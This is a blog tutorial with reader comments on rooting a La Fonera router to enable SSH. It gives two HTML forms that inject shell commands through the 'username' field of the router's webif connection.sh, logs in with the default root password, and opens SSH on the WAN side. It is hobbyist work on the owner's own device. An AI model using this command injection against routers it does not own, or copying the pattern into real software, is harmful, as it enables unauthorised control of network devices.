Hacking Fonera
Yesterday I received my Fonera. The last two days i spend on trying to run an ssh daemon on it. After a lot of searching and surfing, i found finally with the help of this two sites a way to force fonera run ssh. I will shortly sum up the hack, it worked successful with 0.7.1 r1 fon firmware (if you have the 0.7.1.2 firmware you have to reset it.):
First you have to write to two html-pages which will inject code in your Fon-Router. Save the following code as step1.html:
Save the next html code as step2.html.
Now connect to your MyPlace Network, open the both sites and just click on the "Submit" button(first at the step1.html then on the step2.html page). Open your favorite shell and connect to your router via ssh with username root and password admin.
For enabling a permanent ssh access you have to move dropbear to S50 dropbear:
In the
Now you should prevent Fon from executing received code, by editing
Now you have ssh daemon on your fonera.
btw: thanks a lot cologne.idle and "ПожалуйÑта не пойте под фанеру!"
<html>
<head>
</head>
<body>
<center>
<form method="post" action="http://192.168.10.1/cgi-bin/webif/connection.sh" enctype="multipart/form-data">
<input name="username" value="$(/usr/sbin/iptables -I INPUT 1 -p tcp --dport 22 -j ACCEPT)" size="68" >
<input type="submit" name="submit" value="Submit" onClick="{this.form.wifimode.value='";' + this.form.wifimode.value +';"'}" />
</form>
</body>
</html>Save the next html code as step2.html.
<html>
<head>
</head>
<body>
<center>
<form method="post" action="http://192.168.10.1/cgi-bin/webif/connection.sh" enctype="multipart/form-data">
<input name="username" value="$(/etc/init.d/dropbear)" size="68" >
<input type="submit" name="submit" value="Submit" onClick="{this.form.wifimode.value='";' + this.form.wifimode.value +';"'}" />
</form>
</body>
</html>Now connect to your MyPlace Network, open the both sites and just click on the "Submit" button(first at the step1.html then on the step2.html page). Open your favorite shell and connect to your router via ssh with username root and password admin.
ssh root@192.168.10.1For enabling a permanent ssh access you have to move dropbear to S50 dropbear:
$> mv /etc/init.d/dropbear /etc/init.d/S50dropbearIn the
/etc/firewall.user you have to uncomment this lines:# iptables -t nat -A prerouting_rule -i $WAN -p tcp --dport 22 -j ACCEPT
# iptables -A input_rule -i $WAN -p tcp --dport 22 -j ACCEPTNow you should prevent Fon from executing received code, by editing
/bin/thinclient. You have to comment the last line and add another line, so that the last two lines look like this:#. /tmp/.thinclient.sh
cp /tmp/.thinclient.sh /tmp/thinclient-$(date '+%Y%m%d-%H%M')Now you have ssh daemon on your fonera.
btw: thanks a lot cologne.idle and "ПожалуйÑта не пойте под фанеру!"
Verwandte Links:
Trackbacks
Alessandro "jekil" Tanasi blog on : Hacking La Fonera
Show preview
Today i received my Fonera.Fonera has been designed not to be hacked. Really?Hacking the La FoneraOpenWrtDocs HardwareDd-wrt about La FoneraLa Fonera FlashingHacking FoneraOpenwrt K on la Fonera without serial consoleLa Fonera dissection and hackInside th
Coding my Life on : Fonera Downgrade
Show preview
If you want to downgrade your fonera from 0.7.1.2 firmware to the 0.7.1, look here.
Comments
Display comments as Linear | Threaded
Aschenbash0r on :
=
Please do not sing under plywood!
I copy&pasted it into an online translator
kalkin on :
ARARAT on :
Chance on :
kalkin on :
Chance on :
Thanks
matyas on :
I have just came accross your website. I have received a fonera too, and i have some (maybe stupid) questions: why is it good that i can have an SSH access to my fonera? what is the advantage of that? and why is it good for me that i prevent FON from executing code on my box?
thank you very much
Matyas (from Hungary)
Riku on :
You can access to that Linux and make some changes. It's also more secure than just telnet.
> what is the advantage of that?
You can make changes.
> and why is it good for me that i prevent FON from executing code on my box?
It's security thing. FON box will execute every code it will receive from FON with out these hacks.
Jay on :
Can anybody help me?
Fabs on :
kalkin on :
geek on :
instead of this:
#. /tmp/.thinclient.sh
cp /tmp/.thinclient.sh /tmp/thinclient-$(date '+%Y%m%d-%H%M')
use this:
if [ -s /tmp/.thinclient.sh ] ; then
for f in /tmp/thin* ; do
:
done
if [ -f "$f" ]; then
if [ $(md5sum /tmp/.thinclient.sh | cut -d ' ' -f 1) != $(md5sum `ls $f` | cut -d ' ' -f 1) ] ; then
cp /tmp/.thinclient.sh /tmp/thinclient-$(date '+%Y%m%d-%H%M')
fi
else
cp /tmp/.thinclient.sh /tmp/thinclient-$(date '+%Y%m%d-%H%M')
fi
fi
This way a new thinclient "log" will only be created if it differs from the last one and if it's not empty. Code isn't probably very beautiful, but it seems to work
kalkin on :
fon-fan on :
do you have some more informations, links to threads on the forum?
am i right that linux 2.6 is the only thing to be ported ?
kalkin on :
There is a forum thread about ddwrt on fonera.
Fabs on :
Late on :
futejia on :
I am waiting for dd-wrt. Yeah!
Btw: the serial console sucks. I tried for more then two hours to use it.
Barol on :
Jimmi on :
Diese Sache muss man unterstützen, nicht
hacken !
futejia on :
2) Ich glaube Google und Ebay haben genug geld. Die brauchen unsere Unterstützung nicht.
Stefan Tomanek on :
http://stefans.datenbruch.de/lafonera/
and especially http://stefans.datenbruch.de/lafonera/whywedidit.shtml
It's not about sabotaging FON, it's about keeping in control of your network.
jarena on :
jarena on :
jarena on :
At last the problem was La Fonera was taking too long to get an ip via DHCP, and while this is not done the public network can't be seen. I don't know is this is just normal, but I think so, because I read before the flash memory of La Fonera was quite slow, extending startup time.
Maurizio on :
kalkin on :
I have the same problem, if i'm changing from fixed ip to DHCP. The change take really long.
I've made experience that the best way in this cases is to restart the fonera.
Maurizio on :
Normally, the DHCP server on my modem/router assigns IP addresses to other network devices in a few seconds. Besides that, I've tried to restart the Fonera, with no effect.
cable on :
You should change the web server address to 169.254.255.1 instead of 192.168.10.1. Both in the html page and the ssh session.
Rui Ponte on :
kalkin on :
You take something spiky (for example a pin) and press the reset-button, below the fonera, for 5sec. It should be reseted to the 0.7.1 firmware.
Torbar on :
Rui Ponte on :
Stefan Tomanek on :
There is a new hack (this time called "kolofonium"), however we are not releasing it until 0.7.1.2 has become widespread on new routers - otherwise, it would be wasted
Paul on :
Tiago on :
Stefan Tomanek on :
Michael Henn on :
Thanks for any help from anyone!
sp00nix on :
google the VI command list, its kinda confusing how to work
narmacil on :
@@@@@@@@@@@@@@@@@@@@@@
@ WARNING: REMOTE HOST IDENTIFICATION HAS CHANGED! @
@@@@@@@@@@@@@@@@@@@@@@
IT IS POSSIBLE THAT SOMEONE IS DOING SOMETHING NASTY!
Someone could be eavesdropping on you right now (man-in-the-middle attack)!
It is also possible that the RSA host key has just been changed.
The fingerprint for the RSA key sent by the remote host is
23:55:f0:ec:9e:61:24:e8:8e:a5:0d:79:f0:85:65:64.
Please contact your system administrator.
Add correct host key in /home/Administrator/.ssh/known_hosts to get rid of this
message.
Offending key in /home/Administrator/.ssh/known_hosts:1
RSA host key for 192.168.10.1 has changed and you have requested strict checking
.
Host key verification failed.
narmacil on :
Smiley on :
kalkin on :
Josh on :
kalkin on :
Antonio on :
Hope you enjoy ...and improve
Antonio
Wenle on :
$> mv /etc/init.d/dropbear /etc/init.d/S50dropbear
it responds -ash: $: not found
what does that mean? should i continue to second command?
kalkin on :
mv /etc/init.d/dropbear /etc/init.d/S50dropbear
Takenover83 on :
I have my Fonera hooked up to a WRT54GS.
Also what local webserver work ok with this guide? I tried a couple, but got error's when using wget.
For example.
Using "wget http://127.0.0.1/nameofthefile" just gives me a forbidden type of error.
But when I test the same link in a webbrowser, the webserver works just fine and allows me to download.
Paul on :
Paul on :
i was absolutely convinced that my router was 7.1.2 firmware, but after pulling my fon open (easy!) and looking, yup, 7.1.1. use coldtobi's page to reset the right way, and you'll be able to play soon yourself!
john earthquake on :
kalkin on :
Popup2u on :
dltv on :
Most importantly can you connect to the router via the Ethernet port with DDWRT? or does it have to be wirelessly? because i cant connect to 192.168.1.1
or whatever the right ip is i still cant connect to the DDWRT interface via ethernet cable only wirelessly
Wrote a tutorial on hacking it at dltv.wordpress.com
grazzt on :
I dont have any wifi cards yet.
I see the 192.168.* is for the wifi side.
The manual states to set static ip for nic to 169.254.255.2. When I do this, I can check the status of the fon by going to http://169.254.255.1 (and showing 0.71 r1 as the firmware).
Any help would be appreciated.
Thanks
grazzt on :
ANd it worked!
ssd on :
yea on :
dna on :
anyone send me e-mail that attached it?
kalkin on :
jeff on :
Muhammad Waqas on :
dltv on :
Gives some networking advice.
grazzy on :
Then the FON listens to port 8080 on the wan side.
Hope this helps anyone.
Jürgen on :
Strafverteidiger München on :
http://dltv.wordpress.com/off-the-wall/a-guide-to-hacking-the-la-fonera-wireless-router/
But as well a helpfull information.
Strafverteidiger Freiburg on :
eric on :
http://www.fonerahacks.com
kenjiru on :
Any idea what to do now?
Computmaxer on :
www.fonerahacks.com
nglrossi on :
I am about to install dd-wrt now.
Angelo
Johnny on :